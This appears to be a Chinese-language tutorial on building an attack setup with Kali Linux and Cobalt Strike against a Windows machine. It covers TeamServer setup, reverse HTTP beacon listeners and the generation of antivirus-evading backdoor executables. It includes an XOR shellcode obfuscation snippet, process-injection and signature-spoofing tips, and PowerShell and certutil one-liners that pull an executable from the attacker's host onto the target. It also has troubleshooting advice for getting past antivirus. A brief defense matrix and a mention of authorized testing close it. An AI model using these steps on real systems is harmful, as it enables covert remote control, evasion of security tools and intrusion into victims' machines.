Kali+Windows双系统实战:手把手教你用CobaltStrike生成免杀后门(附Python简易HTTP服务搭建)
Kali与Windows双系统协作下的渗透测试实战:从环境搭建到后门生成
1. 环境准备与工具配置
在开始渗透测试之前,确保你已经准备好以下环境:
- Kali Linux系统:作为攻击平台,建议使用最新版本(2023.3或更高)
- Windows目标机:可以是物理机或虚拟机,版本不限
- 网络环境:确保两台机器在同一局域网内,能够互相通信
1.1 Kali Linux基础配置
首先更新Kali系统并安装必要工具:
sudo apt update && sudo apt upgrade -y sudo apt install -y python3 python3-pip git openjdk-11-jdk验证Java版本(CobaltStrike需要Java 8或11):
java -version1.2 CobaltStrike安装与启动
CobaltStrike分为服务端(TeamServer)和客户端:
- 下载并解压CobaltStrike包
- 启动TeamServer(在Kali上执行):
chmod +x teamserver ./teamserver <Kali_IP> <共享密码> [/path/to/c2.profile]提示:建议使用非默认端口(如50050)并配置防火墙规则
- 在Windows客户端连接:
- 启动
cobaltstrike.bat - 输入Kali的IP、端口和共享密码
- 启动
2. 监听器创建与配置
监听器是CobaltStrike与目标主机通信的桥梁。以下是创建HTTP监听器的步骤:
- 在CobaltStrike客户端导航到
Cobalt Strike>Listeners - 点击
Add按钮 - 配置以下参数:
| 参数 | 值 | 说明 |
|---|---|---|
| Name | http-listener | 自定义名称 |
| Payload | windows/beacon_http/reverse_http | HTTP反向连接 |
| HTTP Host | Kali的IP | 回调地址 |
| HTTP Port | 80(或其他) | 监听端口 |
| HTTP Host (Stager) | 同HTTP Host | 分阶段payload地址 |
高级技巧:
- 使用DNS解析代替直接IP地址
- 配置SSL证书启用HTTPS
- 设置合法的User-Agent(如浏览器常见UA)
3. 后门生成与免杀技术
3.1 基础后门生成
通过Attacks>Packages>Windows Executable生成基础后门:
- 选择之前创建的监听器
- 设置输出格式(exe/dll/service)
- 配置以下免杀选项:
- **x64 vs x86**:根据目标系统选择 - **Staged vs Stageless**: - Staged(分阶段):文件小但需二次请求 - Stageless(完整):文件大但独立运行 - **模板注入**:使用合法软件图标和版本信息3.2 高级免杀技巧
方法一:代码混淆
# 示例:简单的XOR加密shellcode import os def xor_encrypt(data, key): return bytes([b ^ key for b in data]) shellcode = b'\x90\x90\x90' # 你的shellcode encrypted = xor_encrypt(shellcode, 0xAA)方法二:进程注入
- 使用
Process Injection功能注入到explorer.exe等常见进程 - 通过
spawn as命令派生到新进程
方法三:签名伪造
- 使用合法的代码签名证书(需自行获取)
- 或修改PE头的证书信息(不推荐)
4. 文件传输与Python HTTP服务
当目标在内网时,可通过简易HTTP服务传输文件:
4.1 Python3 HTTP服务
在Kali上启动:
python3 -m http.server 8080 --directory /path/to/files在目标Windows执行下载:
# PowerShell下载 (New-Object Net.WebClient).DownloadFile("http://<Kali_IP>:8080/file.exe", "C:\Windows\Temp\file.exe") # certutil下载(Windows自带) certutil -urlcache -split -f http://<Kali_IP>:8080/file.exe C:\Windows\Temp\file.exe4.2 服务端与客户端对比
| 方法 | 优点 | 缺点 |
|---|---|---|
| Python HTTP | 简单易用 | 无加密,日志明显 |
| SMB共享 | 内网常用协议 | 需要445端口开放 |
| FTP服务 | 传输稳定 | 需要额外配置 |
| DNS隧道 | 隐蔽性高 | 速度慢,配置复杂 |
5. 实战操作与问题排查
5.1 典型工作流程
- 生成免杀后门(exe文件)
- 通过HTTP/SMB等方式传输到目标
- 在目标执行后门
- 在CobaltStrike查看上线主机
- 进行后续渗透操作
5.2 常见问题解决
问题一:后门无法上线
- 检查监听器配置(IP/端口是否正确)
- 验证网络连通性(防火墙是否放行)
- 查看TeamServer日志(
./teamserver运行窗口)
问题二:被杀毒软件拦截
- 尝试不同的生成选项(如使用PowerShell版本)
- 增加混淆强度
- 使用进程注入等内存执行技术
问题三:HTTP服务无法访问
- 检查Python服务是否正常启动
- 验证Kali防火墙规则:
sudo ufw allow 8080/tcp sudo ufw status
6. 安全建议与防御措施
作为渗透测试者,也应了解如何防御此类攻击:
防御矩阵:
| 攻击阶段 | 防御措施 |
|---|---|
| 初始访问 | 禁用不必要的宏/脚本执行 |
| 执行 | 应用白名单,限制PowerShell使用 |
| 持久化 | 监控注册表/启动项变更 |
| 横向移动 | 网络分段,限制SMB访问 |
| 命令控制 | 出口流量监控,检测异常连接 |
增强检测:
- 部署EDR/XDR解决方案
- 启用Windows Defender ATP
- 配置SIEM规则(如高频DNS请求告警)
7. 扩展学习与资源
推荐实验环境:
- 使用VirtualBox/VMware创建隔离网络
- 尝试不同Windows版本(Win10/WinServer)
- 测试各种杀毒软件(Defender/火绒/360)
进阶技术:
- DNS Beacon配置
- Malleable C2 Profile定制
- 与Metasploit框架联动
- 红队基础设施搭建
参考资源:
- 《Cobalt Strike权威指南》
- MITRE ATT&CK矩阵
- 红队技术博客(如ired.team)
在实际操作中,每个步骤都可能需要根据具体环境调整。建议先在测试环境中充分验证技术方案,再应用于授权渗透测试项目。保持工具和技术的更新,因为防御措施也在不断演进。
